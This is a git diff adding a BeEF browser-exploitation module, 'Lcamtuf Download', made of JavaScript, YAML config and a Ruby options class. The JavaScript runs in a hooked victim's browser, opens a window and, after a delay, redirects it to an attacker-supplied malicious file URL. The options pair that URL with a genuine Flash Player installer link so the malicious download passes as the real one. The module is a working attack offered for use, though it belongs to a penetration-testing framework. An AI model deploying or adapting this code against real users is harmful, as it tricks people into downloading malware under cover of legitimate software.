diff --git a/modules/browser/lcamtuf_download/command.js b/modules/browser/lcamtuf_download/command.js
new file mode 100644
index 000000000..a827c99fa
--- /dev/null
+++ b/modules/browser/lcamtuf_download/command.js
@@ -0,0 +1,38 @@
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+beef.execute(function() {
+ var maliciousurl = '<%= @malicious_file_uri %>';
+ var realurl = '<%= @real_file_uri %>';
+ var w;
+ var once = '<%= @do_once %>';
+
+ function doit() {
+
+ if (navigator.userAgent.indexOf('MSIE') == -1){
+ w = window.open('data:text/html,', 'foo');
+
+ setTimeout(donext, 4500);
+
+ }
+ }
+ function donext() {
+ window.open(maliciousurl, 'foo');
+ if (once != true) setTimeout(donext, 5000);
+ once = true;
+ }
+ doit();
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed");
+});
diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/browser/lcamtuf_download/config.yaml
new file mode 100644
index 000000000..65f57b789
--- /dev/null
+++ b/modules/browser/lcamtuf_download/config.yaml
@@ -0,0 +1,26 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+beef:
+ module:
+ lcamtuf_download:
+ enable: true
+ category: "Browser"
+ name: "Lcamtuf Download"
+ description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ."
+ authors: ["Bart Leppens"]
+ target:
+ working: ["ALL"]
+ not_working: ["IE"]
diff --git a/modules/browser/lcamtuf_download/module.rb b/modules/browser/lcamtuf_download/module.rb
new file mode 100644
index 000000000..1d2b707dd
--- /dev/null
+++ b/modules/browser/lcamtuf_download/module.rb
@@ -0,0 +1,49 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+class Lcamtuf_download < BeEF::Core::Command
+
+ # set and return all options for this module
+ def self.options
+
+
+ return [{
+ 'name' => 'real_file_uri',
+ 'description' => 'The web accessible URI for the real file.',
+ 'ui_label' => 'Real File Path',
+ 'value' => 'http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869',
+ 'width' => '300px'
+ },
+ {
+ 'name' => 'malicious_file_uri',
+ 'description' => 'The web accessible URI for the malicious file.',
+ 'ui_label' => 'Malicious File Path',
+ 'value' => '',
+ 'width' => '300px'
+ },
+ { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore',
+ 'store_fields' => ['do_once'], 'store_data' => [['false'],['true']],
+ 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true
+ }]
+ end
+
+ def post_execute
+ content = {}
+ content['result'] = @datastore['result']
+
+ save content
+ end
+
+end